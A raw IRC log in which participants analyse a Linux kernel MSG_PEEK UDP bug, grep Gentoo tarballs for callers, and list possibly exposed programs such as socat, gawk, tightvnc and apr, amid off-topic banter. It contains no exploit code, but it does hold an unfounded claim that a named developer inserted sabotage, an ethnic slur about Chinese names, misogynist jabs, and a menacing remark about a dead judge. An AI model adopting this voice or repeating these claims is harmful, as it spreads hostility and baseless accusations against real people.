prime, and added that a developer named Zhiang Wang provided a patch with the new prime. The poster revealed that Wang works at Oracle and contributes to Socat.' 1642827;1492088471;asciilifeform;anybody here have a massive gentoo tarball mirror ? try searching for MSG_PEEK ? 1642828;1492088480;mircea_popescu;just did. 3 hits on socat. 1642829;1492088495;asciilifeform;and no other? same here. 1642830;1492088499;mircea_popescu;hence my comment above. 1642831;1492088504;asciilifeform;or rather, 0 here 1642832;1492088508;asciilifeform;i dun have socat 1642833;1492088525;mircea_popescu;no, but lots of usg-tronic "corporations" do. 1642834;1492088609;mircea_popescu;fucking useless chinese names btw. gotta start requiring serial numbers from them folk, i betcha there's 10`000 "zhiang wang" s 1642835;1492088615;mircea_popescu;and besides, they all spell it randomly. 1642836;1492089810;Framedragger;asciilifeform: i dunno who uses it, either, and why would it be used. it's kind of "remind me about this later" feature, pretty weird/useless 1642837;1492089926;Framedragger;hm. are there cases when the program would be like, "i don't have resources to handle this, later", in some embedded/realtime/low-resource context 1642838;1492089941;Framedragger;prolly no cases where you couldn't use something saner instead? 1642839;1492090084;Framedragger;you can get the length of incoming message by other means than just reading it into the buffer (through ioctl or w/e) 1642840;1492090109;Framedragger;so hm good point, pretty retarded 1642841;1492090357;asciilifeform;gotta wonder, the folx who signed off on the fix -- why they are silent ? why linus - silent 1642842;1492090383;asciilifeform;could say the truth, in theory, 'only used in socat, inserted by wrecker' 1642843;1492090503;Framedragger;what are they supposed to say? that this is socat-specific? because it's not 1642844;1492090531;asciilifeform;Framedragger: as far as i can tell -- it is 1642845;1492090609;asciilifeform;also for some reason silence re authorship of the overflow.. 1642846;1492090627;Framedragger;maybe it is.. someone could be using it to get buffer length (folx exist who ask 'so how do i use MSG_PEEK for this...') 1642847;1492090639;asciilifeform;kernel is not vtronic, naturally, but linus dun take patches from thin air, they all have names attached 1642848;1492090640;Framedragger;can't you use `git blame` to find out the latter? 1642849;1492090671;asciilifeform;Framedragger: possibly 1642850;1492090674;Framedragger;and commits in linux are pgp-signed, not just "ok"d 1642851;1492090696;asciilifeform;Framedragger: so far nobody's turned it up anywhere but in socat 1642852;1492090706;Framedragger;there is that. 1642853;1492090843;Framedragger;i can find it elsewhere, too, but small/stupid projects 1642854;1492090845;Framedragger;!~google site:github.com "MSG_PEEK" 1642855;1492090846;jhvh1;Framedragger: recv MSG_PEEK flag ignored · Issue #4586 · kripken/emscripten ...: ; MSG_PEEK capability · Issue #551 · ARMmbed/mbedtls · GitHub: ; hiboma/ MSG_PEEK .md at master · hiboma/hiboma · GitHub: 1642856;1492091076;Framedragger;asciilifeform: actually i can see some rationale. checking that socat source and that line (https://github.com/craSH/socat/blob/master/xio-udp.c#L220), if you check the definition of buff1, it's `char[1]`. 1642857;1492091111;Framedragger;it seems to use MSG_PEEK to check info on the connected peer (and drop it if need be), and by using this, it can avoid allocating additional memory to take in whole buffer 1642858;1492091161;Framedragger;i guess you could also do `recv(&one_byte_buffer)` and then later `recv(&larger_buffer)`, too; but their use at least makes some sense to me. imho. 1642859;1492091191;asciilifeform;Framedragger: this is foolish, you're reading the packet regardless 1642860;1492091198;Framedragger;(sure, data comes in to network card's buffer anyway) 1642861;1492091202;asciilifeform;it doesn't save memory. 1642862;1492091220;asciilifeform;it is the exact equivalent of an older idiocy, ungetc() 1642863;1492091221;Framedragger;it saves program-internal memory, but the card itself reads in the data regardless, sure. 1642864;1492091263;Framedragger;asciilifeform: hah, omg i've only heard about this and checking now, even the description is lulzy. "put stuff back into stream" 1642865;1492091286;asciilifeform;Framedragger: it saves no memory of any sort 1642866;1492091288;Framedragger;yeah i see what you mean. ultimately it's bullshit/snakeoil. i was just saying that ~some~ sense was had (but you'll prolly deny even that - fair enough) 1642867;1492091304;asciilifeform;does same thing as normal recv(), except for clearing the buffer. 1642868;1492091320;asciilifeform;so packet can be (why?!) read twice. 1642869;1492091335;asciilifeform;no, no sense. 1642870;1492091335;Framedragger;yeah i know i know, ultimately pointless 1642871;1492091383;Framedragger;hm i guess you don't save *any* memory, i can see why 1642872;1492091448;Framedragger;you read in to a fixed size buffer and then discard info/connection if need be. they're pretending to be 'only reading one byte' but it's the kernel which chops off one byte from the rest of the packet 1642873;1492091465;asciilifeform;still 'crediting the empire', eh, Framedragger . 1642874;1492091474;asciilifeform;'but there's GOTTA be a valid reason!!1' 1642875;1492091477;asciilifeform;nope. there never is. 1642876;1492091568;Framedragger;i'll grant you that i'm this overly naive kid as regards these matters. but i fear the psychological alternative :) (becoming an angry man full of bile; principle of charity has a psychological function to me, too). and eh, 'empire'. very binary 1642877;1492091633;Framedragger;also there is an easy habit to slip into by which you start discarding any things a priori. (mp-emulator: that's not a bad thing(tm)) 1642878;1492091817;Framedragger;http://btcbase.org/log/2017-04-13#1642864 << just for context/posterity, i meant ungetc() here, what a load of crap 1642879;1492091817;a111;Logged on 2017-04-13 13:47 Framedragger: asciilifeform: hah, omg i've only heard about this and checking now, even the description is lulzy. "put stuff back into stream" 1642880;1492091898;asciilifeform;Framedragger: fwiw i read the manpage prior to 'this is liquishit, there is 0 possible justification, it is exactly same as ungetc()' 1642881;1492091958;asciilifeform;i dun do the a priori thing. ( it may seem that way, because it does not ever take asciilifeform very long to distinguish flies from cutlets. but this comes from experience, and from flies and cutlets generally looking nothing alike. ) 1642882;1492091970;Framedragger;re manpage, thanks for educating me, as always - yeah ok it's the same thing 1642883;1492092325;deedbot;http://www.dianacoman.com/2017/04/13/bundling-with-foxybot/ << Ossasepia - Bundling with Foxybot 1642884;1492097025;asciilifeform;in other lulz, look which muppet is back in business : https://archive.is/31IH2 1642885;1492097244;asciilifeform;( see also http://btcbase.org/log/2015-01-12#974526 , http://btcbase.org/log/2015-01-12#974650 ) 1642886;1492097244;a111;Logged on 2015-01-12 18:59 mircea_popescu: bitcoin_charlie didn't you make a plea bargain ? 1642887;1492097244;a111;Logged on 2015-01-12 19:41 pete_dushenski: so bitcoin_charlie what brings you by on this sunny day ? 1642888;1492097442;asciilifeform;in yet-other lulz, https://archive.is/mcaLO >> 'NEW YORK -- Sheila Abdus-Salaam, an associate judge on New York state's highest court and the first African-American woman to serve on that bench, was found dead Wednesday in the Hudson River, authorities said. ... became the first Muslim judge in the United States when she started serving on the state Supreme Court in 1994 ... On the court, Abdus-Salaam was among the most reliable and 1642889;1492097442;asciilifeform;steadfast liberal voices, regularly siding with vulnerable parties -- the poor, impoverished ... ' 1642890;1492098320;trinque;http://btcbase.org/log/2017-04-13#1642876 << this is not unlike the "rich man must be sad" trope, could instead take pleasure in the way one keeps his cranial house. 1642891;1492098320;a111;Logged on 2017-04-13 13:52 Framedragger: i'll grant you that i'm this overly naive kid as regards these matters. but i fear the psychological alternative :) (becoming an angry man full of bile; principle of charity has a psychological function to me, too). and eh, 'empire'. very binary 1642892;1492098351;ben_vulpes;every single spiderweb does not get its own trial 1642893;1492098356;ben_vulpes;here's a vacuum cleaner, get to work 1642894;1492098421;*;Framedragger sees point. 1642895;1492098731;asciilifeform;in other lulz, apparently there is NOT a standard way to grep inside tar.gz. 1642896;1492098775;asciilifeform;( zgrep only greps inside the unzipped tar, producing, e.g., '/usr/portage/distfiles/foo.tar.gz:Binary file (standard input) matches' and dun work on bz2 . 1642897;1492098782;asciilifeform;) 1642898;1492098794;asciilifeform;infuriating idiocy. 1642899;1492098817;asciilifeform;orc glyphs, gender commits -- as many as you want. useful everyday tools -- none. not since, say, 1995. 1642900;1492098841;doppler;why not use a pipeline? 1642901;1492098850;asciilifeform;doppler: elaborate 1642902;1492098851;trinque;yup, can untar to stdout 1642903;1492098862;doppler;gunzip | tar | grep 1642904;1492098887;trinque;I'd do it through find for multiple files 1642905;1492098893;doppler;yeah 1642906;1492098938;asciilifeform;and how about bz2 ? 1642907;1492098942;trinque;flag to tar 1642908;1492098944;trinque;j 1642909;1492098961;trinque;oh right, I mean the bash solution gets hairier from there 1642910;1492098966;*;trinque backs away slowly 1642911;1492098969;asciilifeform;it gets exponentially uglier. 1642912;1492099386;asciilifeform;doppler, trinque : the pipe method loses the filename in which the match was found 1642913;1492099394;doppler;yeah, I'm working on that now 1642914;1492099400;asciilifeform;e.g., tar xvfz cmake-2.8.10.2.tar.gz --to-stdout | grep -H MSG_PEEK > liquishit.txt 1642915;1492099406;asciilifeform;you get: 1642916;1492099411;asciilifeform;(standard input):#ifdef MSG_PEEK 1642917;1492099411;asciilifeform;(standard input): (RECV_TYPE_ARG3)1, (RECV_TYPE_ARG4)MSG_PEEK) == 0) { 1642918;1492099424;doppler;this sort of works -> http://stackoverflow.com/a/2407231 1642919;1492099439;doppler;they get the file index, and then grep each file separately 1642920;1492099449;asciilifeform;sounds miserably slow 1642921;1492099454;doppler;yeah probably 1642922;1492099476;asciilifeform;http://wotpaste.cascadianhacker.com/pastes/WfMq7/?raw=true << preliminary list of infected packages, from a well-used gentoo box 1642923;1492099483;asciilifeform;mircea_popescu , trinque , Framedragger , et al ^ 1642924;1492099491;asciilifeform;and this is ONLY .tar.gz 1642925;1492099504;asciilifeform;there are also bz2, which i have not tested (zgrep dun work on'em) 1642926;1492099530;doppler;if you just want match then it's easy, as you said 1642927;1492099533;doppler;don't need zgrep 1642928;1492099542;asciilifeform;i want the motherfucking filenames and lines. 1642929;1492099546;trinque;musl's probably defining the thing in net.h or w/e it was 1642930;1492099692;asciilifeform;and hah, bzgrep exists 1642931;1492099698;shinohai;today is the 13th (Maundy Thrursday); There are now 13 Lords. 1642932;1492099714;Framedragger;asciilifeform: neat 1642933;1492099717;Framedragger;pkg-config, oh good 1642934;1492099723;shinohai;Tjis could be a sign of imminent apocalypse 1642935;1492099739;asciilifeform;Framedragger: not all of the hits are actual real-life invocations 1642936;1492099749;asciilifeform;but we won't know until we have a proper search 1642937;1492099749;trinque;aha, asciilifeform, musl defines the flag only, in include/sys/socket.h:262 1642938;1492099763;ben_vulpes;openssl, surprise 1642939;1492099881;trinque;crypto/bio/bss_dgram.c has several invocations with recvmsg 1642940;1492099926;asciilifeform;i'ma guess that mircea_popescu was grepping compressed tarballs with plain grep and naturally found nothing. 1642941;1492099937;asciilifeform;(i initially did same, when waking up) 1642942;1492099989;asciilifeform;naturally all versions of gcc match ( they gotta, they have the header in'em -- snore ) 1642943;1492100052;*;asciilifeform marvels at the 'respectable kompooter sekoority community' today doing 10,000,001 things, none of them being THIS 1642944;1492100073;BingoBoingo; i'll grant you that i'm this overly naive kid as regards these matters. but i fear the psychological alternative :) (becoming an angry man full of bile; principle of charity has a psychological function to me, too). and eh, 'empire'. very binary << There's more than one psychological alternative. Why do you automatically go to the worst case? 1642945;1492100127;asciilifeform;mircea_popescu , trinque , Framedragger , et al : part 2 : the bz2 search : http://wotpaste.cascadianhacker.com/pastes/iJwoo/?raw=true 1642946;1492100133;Framedragger;BingoBoingo: i smell bile and i hate that taste. but possibly i am misconstruing things (i.e., not actual bile in #t) 1642947;1492100164;asciilifeform;( bzgrep MSG_PEEK ..... ) 1642948;1492100220;trinque;dhcpcd << lol 1642949;1492100223;Framedragger;xchat.. RCE on irc users heh 1642950;1492100235;BingoBoingo;Framedragger: Bile serves a useful function. Without bile you become a cardiac case, a hangry hangry hamplanet. 1642951;1492100245;asciilifeform;gentlemen, start yer engines, perlists, awkists. 1642952;1492100281;asciilifeform;gotta get the line matches, with context (say, 5 up / 5 down from match.) could qntra it. 1642953;1492100284;Framedragger;need to start thinking about internetcensus2012 reboot, i tell ya 1642954;1492100397;BingoBoingo;Framedragger: You simply have to have a healthy bile cycle, don't try to live without bile, but also don't try to hold it all in. 1642955;1492100432;Framedragger;that makes sense :) circulation is the keyword i suppose 1642956;1492100656;Framedragger;asciilifeform: busy at work unfortunately but would be a good effort, yeah 1642957;1492102066;asciilifeform;now, not all of these invocations are of recv() for udp. most -- tcp. 1642958;1492102082;asciilifeform;(still retarded, as discussed earlier, but won't trigger this particular boobytrap) 1642959;1492102150;asciilifeform;sadly there is no automatic means to discover which of the proggies contain exploitable invocations, other than with hard grindstone sweat (or usg's automated tool!1111) 1642960;1492102595;asciilifeform;https://news.ycombinator.com/item?id=14105718 ( https://archive.is/nmX2h ) << witness the unsurprising chorus : 'nobody used it! NOBODY! shuddup terrorist' 1642961;1492102652;mod6;testing out this first fg here. 1642962;1492102659;asciilifeform;mod6: oh hey 1642963;1492102677;asciilifeform;mod6: works ? 1642964;1492102728;mod6;im using gentoo, having a hard time figuring out which usb device the one. i suspect that it's /dev/tty1 but lsusb doesn't exist on this box. 1642965;1492102737;asciilifeform;it will never be tty1 1642966;1492102741;mod6;it ~does~ power on though 1642967;1492102748;asciilifeform;will be, in all likelihood, /dev/ttyUSBn 1642968;1492102753;asciilifeform;where n is 0...9 1642969;1492102762;asciilifeform;(depending on how many other ttl dongles you have) 1642970;1492102776;asciilifeform;check dmesg after plugging in, it will be clearly visible. 1642971;1492102787;asciilifeform;then you can the the stty thing from the instructions. 1642972;1492102789;mod6;werd. 1642973;1492102800;asciilifeform;(unfortunately NO unixlike sets 8bit cleanliness by default, afaik) 1642974;1492102801;Framedragger;via that HN post, https://codesearch.debian.net/search?q=recvfrom+.*+MSG_PEEK 1642975;1492102805;Framedragger;^ could be useful 1642976;1492102840;asciilifeform;Framedragger: it seems to find strictly 1) glibc 2) quake (?!) 1642977;1492102903;*;Framedragger tried fg last weekend, was all good, (very) small sample (2.7MB) had 7.999936 bits of entropy per byte. but yet to test more thoroughly, including removing shields, etc. 1642978;1492102916;asciilifeform;Framedragger: recommended sample size is 1GB 1642979;1492102925;Framedragger;asciilifeform: nah if you iterate thru pages will be other packages as well 1642980;1492102943;mod6;dmesg says 'usb 3-2' for this guy. 1642981;1492102947;Framedragger;asciilifeform: that's why i didn't wave around with the result :) yeah need to do more testing for sure. 1642982;1492102983;asciilifeform;Framedragger: dieharder in particular loops around . (why ? because customary bit-poverty) 1642983;1492103004;asciilifeform;mod6: ls /dev/ttyUSB* gives you what ? 1642984;1492103027;mod6;no, i have no /dev/ttyUSB devices at all. 1642985;1492103042;asciilifeform;hot damn, you found one of those linuxen with no pl2303 support ?! 1642986;1492103045;mod6;which is kinda weird, because i hvae a usb keyboard too 1642987;1492103049;asciilifeform;or do you have module loading disabled ? 1642988;1492103056;asciilifeform;(if you do, you will have to compile pl2303 into the kernel) 1642989;1492103063;mod6;ah, hmm. ok. 1642990;1492103134;Framedragger;asciilifeform: ah, only glibc etc if "recvfrom" in keywords, you're right. but if only "recv" (https://codesearch.debian.net/search?q=recv+.*+MSG_PEEK&page=1), then lots of results 1642991;1492103157;Framedragger;(it's possible that bug isn't triggered if you only recv(), not recvfrom(), but i didn't look into it to confirm) 1642992;1492103558;mircea_popescu;http://btcbase.org/log/2017-04-13#1642842 << they misperceive the cost of not saying so ; as well as the cost of saying so. why's girl in highschool not say "i hate these dumbass girls who claim they're my friends and absolutely like you" ? because human nature. 1642993;1492103558;a111;Logged on 2017-04-13 13:33 asciilifeform: could say the truth, in theory, 'only used in socat, inserted by wrecker' 1642994;1492103723;asciilifeform;mircea_popescu: see continuation of thread 1642995;1492103827;mircea_popescu;will. 1642996;1492103906;asciilifeform;Framedragger et al : bzgrep -E 'recvfrom.*MSG_PEEK' /usr/portage/distfiles/*.tar.bz2; zgrep -E 'recvfrom.*MSG_PEEK' /usr/portage/distfiles/*.tar.gz; zgrep -E 'recvfrom.*MSG_PEEK' /usr/portage/distfiles/*.tgz 1642997;1492103940;Framedragger;asciilifeform: btw udp_recvmsg() is the kernel-internal function which is vulnerable. need to check callstack of recvfrom() vs recv(), possibly only recvfrom() is vulnerable (thereby reducing set of exposed programs greatly). otherwise even more funtimes. 1642998;1492103952;Framedragger;ah nice ^ 1642999;1492104076;mircea_popescu;http://btcbase.org/log/2017-04-13#1642845 << that is misunderstood esprit de corps. it's visible when child does something stupid, gets punished for it, and mother shows up at school to protest ~the punishment~. the fact her son does stupid shit does not bother her -- on the contrary, she knows where he got that from, which knowledge fills her of joy and hope for the future. perhaps if she insists the dumb will inherit the ea 1643000;1492104076;a111;Logged on 2017-04-13 13:36 asciilifeform: also for some reason silence re authorship of the overflow.. 1643001;1492104076;mircea_popescu;rth ? 1643002;1492104083;mircea_popescu;school should punish HER, of course. 1643003;1492104112;*;mircea_popescu run highschool would have pillory for inept mothers, with topless zebra'd milfs there present almost every day. 1643004;1492104143;asciilifeform;lol zebra 1643005;1492104308;Framedragger;huh gdb's `bt` is not giving me backtrace. i put a breakpoint on recvfrom(), it got called and everything, and `bt` gives me squat. compiled with debug symbols. go back to school framedragger 1643006;1492104329;mircea_popescu;o.O 1643007;1492104340;mircea_popescu;this is a new one. 1643008;1492104348;Framedragger;is just me i'm sure 1643009;1492104357;mircea_popescu;you must be doing something creative. 1643010;1492104397;mircea_popescu;http://btcbase.org/log/2017-04-13#1642876 << which adult strikes you as fulla bile ? 1643011;1492104397;a111;Logged on 2017-04-13 13:52 Framedragger: i'll grant you that i'm this overly naive kid as regards these matters. but i fear the psychological alternative :) (becoming an angry man full of bile; principle of charity has a psychological function to me, too). and eh, 'empire'. very binary 1643012;1492104402;Framedragger;"custom shitty udp program" probably fits the bill 1643013;1492104435;Framedragger;mircea_popescu: i dare not say, it's more of an emergent effect, a piece from one, a piece of another, and you get a log full o' it 1643014;1492104448;mircea_popescu;is that so ? hm. 1643015;1492104476;Framedragger;only to an extent, and as BingoBoingo said, circulation. tide goes in, tide goes out 1643016;1492104493;mircea_popescu;who knows these things. 1643017;1492104511;Framedragger;i'm hangover af after $party, everything is black currently (doesn't happen often, tbh) 1643018;1492104524;mircea_popescu;lol fulla bile after party ? 1643019;1492104530;mircea_popescu;or wait, bile's green is it. 1643020;1492104543;Framedragger;fulla set of different liquids 1643021;1492104590;ben_vulpes;http://btcbase.org/log/2017-04-12#1642721 << you mean to tell me that you're culturing some weird population on your floss and then rubbing that all over delicate, highly permeable mucous membranes wired directly to your brain? 1643022;1492104590;a111;Logged on 2017-04-12 21:58 danielpbarron: http://btcbase.org/log/2017-04-12#1642660 << i don't use mouthwash, brush and floss once a day (with regular non vibrating brush, and i reuse the floss untill it splits apart or breaks) -- hadn't been to the dentist in over 8 years; went in last year and they tell me my teeth are in great shape considering, although i did have to get some cavities fixed (mostly in wisdom teeth which is expected. and yes i still have my wisdom teeth 1643023;1492104603;mircea_popescu;http://btcbase.org/log/2017-04-13#1642884 << lolz. camp fed fellow, expert in usg-bitcoin issues and items of interest ? mmkay. 1643024;1492104603;a111;Logged on 2017-04-13 15:23 asciilifeform: in other lulz, look which muppet is back in business : https://archive.is/31IH2 1643025;1492104624;asciilifeform;Framedragger, mircea_popescu , et al : http://wotpaste.cascadianhacker.com/pastes/N9Eir/?raw=true << zgrep -E 'recvfrom.*MSG_PEEK' ... ( and bzgrep ...) from several gentoo boxen here. i even found one with -- lol -- socat 1643026;1492104628;mircea_popescu;ben_vulpes nothing's "wired directly to brain" wtf are you on about. 1643027;1492104671;Framedragger;asciilifeform: nice, and seems realistic! 1643028;1492104711;asciilifeform;wtf is it doing in awk. 1643029;1492104719;mircea_popescu;those gcc matches. 1643030;1492104726;mircea_popescu; /usr/portage/distfiles/gcc-3.3.6.tar.bz2:Binary file (standard input) matches 1643031;1492104726;mircea_popescu; /usr/portage/distfiles/gcc-4.3.6.tar.bz2:Binary file (standard input) matches 1643032;1492104730;mircea_popescu;and then every gcc subsequent. 1643033;1492104738;doppler;uuudsaudas 1643034;1492104747;doppler;whoops. :( 1643035;1492104749;asciilifeform;mircea_popescu: no shit it's in gcc. headers. 1643036;1492104750;ben_vulpes;length of plumbing lines from gums and nasal membranes to brain ispretty short 1643037;1492104750;mircea_popescu;do you not have the rest of the 3.* tree asciilifeform ? 1643038;1492104769;mircea_popescu;ben_vulpes they're not plumbing lines. there is such a thing as brain-blood barrier. 1643039;1492104774;asciilifeform;mircea_popescu: not on running disk, they live on cd somewhere 1643040;1492104782;mircea_popescu;aha 1643041;1492104798;ben_vulpes;mircea_popescu: it is a thing ben_vulpes is baseline familiar with, believe it or not! 1643042;1492104829;ben_vulpes;did we ever do the "brain parasite from flushing sinuses with not-entirely-clean-water" thread? 1643043;1492104839;mircea_popescu;no. let's ? 1643044;1492104875;asciilifeform;ahahahaha guess what 1643045;1492104883;asciilifeform;gawk has proper invocation, exploitable 1643046;1492104902;asciilifeform;in socketopen() 1643047;1492104911;*;asciilifeform had nfi that any awktron knew how to open sockets. 1643048;1492104917;ben_vulpes;why does gawk even socket? 1643049;1492104930;trinque;by now I assume the g prepended means "shit bolted to side" 1643050;1492104939;mircea_popescu;http://btcbase.org/log/2017-04-13#1642888 <<->> http://btcbase.org/log/2016-07-10#1500604 in which vein, let me guess, this is because black, yes ? not because pantsuited, middle aged woman ? 1643051;1492104939;a111;Logged on 2017-04-13 15:30 asciilifeform: in yet-other lulz, https://archive.is/mcaLO >> 'NEW YORK -- Sheila Abdus-Salaam, an associate judge on New York state's highest court and the first African-American woman to serve on that bench, was found dead Wednesday in the Hudson River, authorities said. ... became the first Muslim judge in the United States when she started serving on the state Supreme Court in 1994 ... On the court, Abdus-Salaam was among the most reliable and 1643052;1492104939;a111;Logged on 2016-07-10 01:40 mircea_popescu: http://btcbase.org/log/2016-07-10#1500575 << let me guess, this is really the washington-thinktank-gendarmerie plan getting rid of those pesky washington-local-thinktanks ? plan proceeding according to plan ? 1643053;1492104953;mircea_popescu;tremble, bitches, because you will end up floating on the fucking river. all of youze. 1643054;1492104955;asciilifeform;tightvnc -- ditto 1643055;1492104963;asciilifeform;recvfrom(....MSG_PEEK 1643056;1492105002;Framedragger;nice. 1643057;1492105016;mircea_popescu;trinque that's accurate, actually. "shit improved by the radical communist branch of usg". a sort of "Bitcoin foundation" avant la lettre, "GNu the african antelope". 1643058;1492105125;ben_vulpes;mircea_popescu: http://www.cbsnews.com/news/tap-water-in-neti-pots-behind-two-brain-eating-amoeba-deaths-in-2011-investigation-finds/ 1643059;1492105158;mircea_popescu;how is this supporting "Sinus flushing" as opposed to, i dunno, "used to wash up pre anal sex" ? 1643060;1492105191;asciilifeform;and hey hey hey lbj!! 1643061;1492105203;trinque;asciilifeform having a great day over here; what bile? 1643062;1492105204;asciilifeform;there's a recvfrom(...MSG_PEEK...) in apr. 1643063;1492105215;asciilifeform;y'know, it : http://apr.apache.org/docs/apr/1.5/group__apr__network__io.html 1643064;1492105226;asciilifeform;cleverly disguised, also, it doesn't specifically mention datagram. 1643065;1492105239;asciilifeform;anyone who uses apr, and works on datagram socket, gets nailed. 1643066;1492105248;asciilifeform;this is discussed afaik nowhere. but now -- here. 1643067;1492105284;mircea_popescu;http://btcbase.org/log/2017-04-13#1642916 << actually can coax grep to properly recognize "multifile" by adding a /dev/null at end 1643068;1492105284;a111;Logged on 2017-04-13 16:03 asciilifeform: (standard input):#ifdef MSG_PEEK 1643069;1492105300;mircea_popescu;nfi why it thinks deluge from pile is single file, but anyway. 1643070;1492105306;asciilifeform;mircea_popescu: it dun do any good for searching in tars. 1643071;1492105332;mircea_popescu; tar xvfz cmake-2.8.10.2.tar.gz --to-stdout | grep -H "MSG_PEEK" /dev/null > liquishit.txt 1643072;1492105332;asciilifeform;and of course it thinks 'single file', it's presently the only known way to grep in a tar.gz. 1643073;1492105333;mircea_popescu;try it. 1643074;1492105353;asciilifeform;mircea_popescu: null result 1643075;1492105373;mircea_popescu;oh tar. doh. 1643076;1492105376;asciilifeform;aha! 1643077;1492105381;mircea_popescu;so detar it also! 1643078;1492105395;asciilifeform;it's what i ended up doing. 1643079;1492105396;Framedragger;(meanwhile gdb is "Target does not support branch tracing." (cpu doesn't support one way to do this; it's an i5; omg) 1643080;1492105401;asciilifeform;(took fucking forever) 1643081;1492105458;mircea_popescu;asciilifeform hey, i recall having sed crash on me last week. "tools". zamac 100% quality guaranteed. 1643082;1492105470;mircea_popescu;Framedragger get better wintel!!1 ? 1643083;1492105495;asciilifeform;mircea_popescu: asciilifeform can't possibly be the first to ever try to search inside a dir of tarballs. srsly, 0 support?! 1643084;1492105501;Framedragger;wtf apparently server with xeon cores doesn't support it, either? 1643085;1492105512;mircea_popescu;you're not deserving. either of you. 1643086;1492105529;mircea_popescu;now if you were poor and "from a needy family" or however "two idiots had kids" is doublespoken today... 1643087;1492105539;mircea_popescu;i would be authorized to give you a sandwich. 1643088;1492105557;mircea_popescu;and pee mcnuggets. 1643089;1492105569;asciilifeform;Framedragger: i dun recall it ever working. 1643090;1492105575;asciilifeform;other than with intel's magic probe box. 1643091;1492105594;*;Framedragger retires to pig farm 1643092;1492105615;asciilifeform;lulzily enough, asciilifeform ~has the box~ -- but 0 software for it, it never leaked. box turned out to contain empty fpga. 1643093;1492105626;asciilifeform;so of 0 use, unless somebody gets hold of the magic proggy. 1643094;1492105629;Framedragger;heh. 1643095;1492105670;mircea_popescu;dude what are you talking about i/we use gdb all the time to trace 1643096;1492105672;Framedragger;asciilifeform: would gdb be able to run on it, tho? with `record btrace`? just curious 1643097;1492105687;asciilifeform;Framedragger: nope and nope, intel's thing only works with their shitware 1643098;1492105698;asciilifeform;mircea_popescu: he wasn't trying for ordinary trace 1643099;1492105702;asciilifeform;but for 'record all jumps' 1643100;1492105707;Framedragger;mircea_popescu: function call history for c proggy? i prolly am doing sth horribly wrong, tho 1643101;1492105716;mircea_popescu;ah i guess oh. turns out ~i~ was doing some creative reading. 1643102;1492105736;Framedragger;bah. 1643103;1492105740;mircea_popescu;Framedragger something like "backtrace full" ? 1643104;1492105752;mircea_popescu;or could do backtrace full n to limit to n frames. 1643105;1492105789;mircea_popescu;but basically ctrl-c bt will print out the whole strack, one line per frame. if that's what you wanted ? 1643106;1492105801;Framedragger;full n gave me nothing but i'll recheck again 1643107;1492105812;mircea_popescu;you are running this in gdb yes ? 1643108;1492105818;Framedragger;yeah 1643109;1492105833;asciilifeform;Framedragger: https://archive.is/qEQNe << likbez 1643110;1492105843;Framedragger;i sorta did want 'any and all jumps' but should be enough for now maybe 1643111;1492105859;Framedragger;mircea_popescu: asciilifeform: ty 1643112;1492105871;mircea_popescu;yeah, that's not actually available. i doubt even intewl thing ever worked as advertised (which is the true explanation of the rarity) 1643113;1492105880;mircea_popescu;it is a more difficult taks than immediately apparent. 1643114;1492105906;asciilifeform;mircea_popescu: iirc it worked by cordoning off a portion of l0/1 caches to use as trace record 1643115;1492105927;asciilifeform;(and to store whatever else that dun fit in the standard debug regs) 1643116;1492105930;mircea_popescu;which works for fixed length tree ? ookayt. 1643117;1492105935;mircea_popescu;hm. 1643118;1492105941;asciilifeform;well of course fixed, how else. 1643119;1492105957;mircea_popescu;well so then what use it is ? as per alfism, not reliable, worse than useless!!1 1643120;1492105994;mircea_popescu;http://btcbase.org/log/2017-04-13#1642939 << bwahahaha. 1643121;1492105994;a111;Logged on 2017-04-13 16:11 trinque: crypto/bio/bss_dgram.c has several invocations with recvmsg 1643122;1492106004;asciilifeform;it's as reliable as the box it was slaved to, signalled when the bucked filled, to go and empty. 1643123;1492106017;asciilifeform;but again i don't have a working set of box+proggy. only box and manuals. 1643124;1492106069;asciilifeform;( also note, rarely is anyone interested in ALL possible branches in ALL of ram -- typically you want some particular set. ) 1643125;1492106150;mircea_popescu;http://btcbase.org/log/2017-04-13#1642960 <<< yeah, it's quite evidently usg burning one of their few remaining good exploits once they finally figured out it was leaked and used by republican interest. 1643126;1492106150;a111;Logged on 2017-04-13 16:56 asciilifeform: https://news.ycombinator.com/item?id=14105718 ( https://archive.is/nmX2h ) << witness the unsurprising chorus : 'nobody used it! NOBODY! shuddup terrorist' 1643127;1492106293;mircea_popescu;http://btcbase.org/log/2017-04-13#1642982 << such lulz that thing. really, looping over the entropy ? 1643128;1492106293;a111;Logged on 2017-04-13 17:03 asciilifeform: Framedragger: dieharder in particular loops around . (why ? because customary bit-poverty) 1643129;1492106328;asciilifeform;mircea_popescu: you'll also love how it is done because... prngs sometimes PASS when you do this (how ? idk) 1643130;1492106359;mircea_popescu;in any event i am looking forward to the princeton paper providing the original research of "shit we read on #trilema that we came up with ourselves shut up terrorist!!1" 1643131;1492106377;mircea_popescu;perhaps it'll be stanford or mit or "another" meaningless head of the same turd of agglomerated stupidity though. for flavour. 1643132;1492106424;asciilifeform;mircea_popescu: per the tards' internal logic -- 'we burned the vuln -- we own the tendrils' 1643133;1492106442;asciilifeform;pretty sure that they earnestly see it like this. 1643134;1492106497;asciilifeform;also i have difficulty picturing enemy burning a hole without having ready replacement. 1643135;1492106502;asciilifeform;(dun mean it's impossible.) 1643136;1492106950;mircea_popescu;o, you mean like they obsoleted the only remaining useful us plane without having as much as a proper paper replacement for it ? 1643137;1492106953;mircea_popescu;yeah, i see it. 1643138;1492106966;asciilifeform;waiwat 1643139;1492106970;asciilifeform;warthog is actually gone nao ? 1643140;1492106972;mircea_popescu;!#s warthog 1643141;1492106972;a111;14 results for "warthog", http://btcbase.org/log-search?q=warthog 1643142;1492106990;asciilifeform;iirc it was spared, last-minute. 1643143;1492106994;mircea_popescu;no, but they ~obsoleted~ it. the trick is that in physical engineering you are allowed backsies. 1643144;1492107228;asciilifeform;the lulzy bit re pwnholes is that they are a renewable resource: every major version of ~everything introduces a few dozen new ones. 1643145;1492107295;asciilifeform;the almost forcible induction of gendercommitters, wimminzintech, etc. mushminds into open sores -- tops off the supply of deniable, 'free-range, organically grown' liquishit 1643146;1492107326;mircea_popescu;except teh terrorists don't upgrade. 1643147;1492107338;mircea_popescu;end up with the same three herbivores on iphone. 1643148;1492107359;asciilifeform;if only 1643149;1492107372;asciilifeform;megatonnes of 'internet of shit' boxen hanging around, unpatchably. 1643150;1492107392;asciilifeform;( the various 'buried in cement' routers, modems, etc. exhibited in phuctor , say . ) 1643151;1492107415;asciilifeform;they're the intended victim, much of the time. 1643152;1492107426;mircea_popescu;who was the anodyne condolezza rice clone that was doing "revolutionizing" ukraina and failed so spectacularily 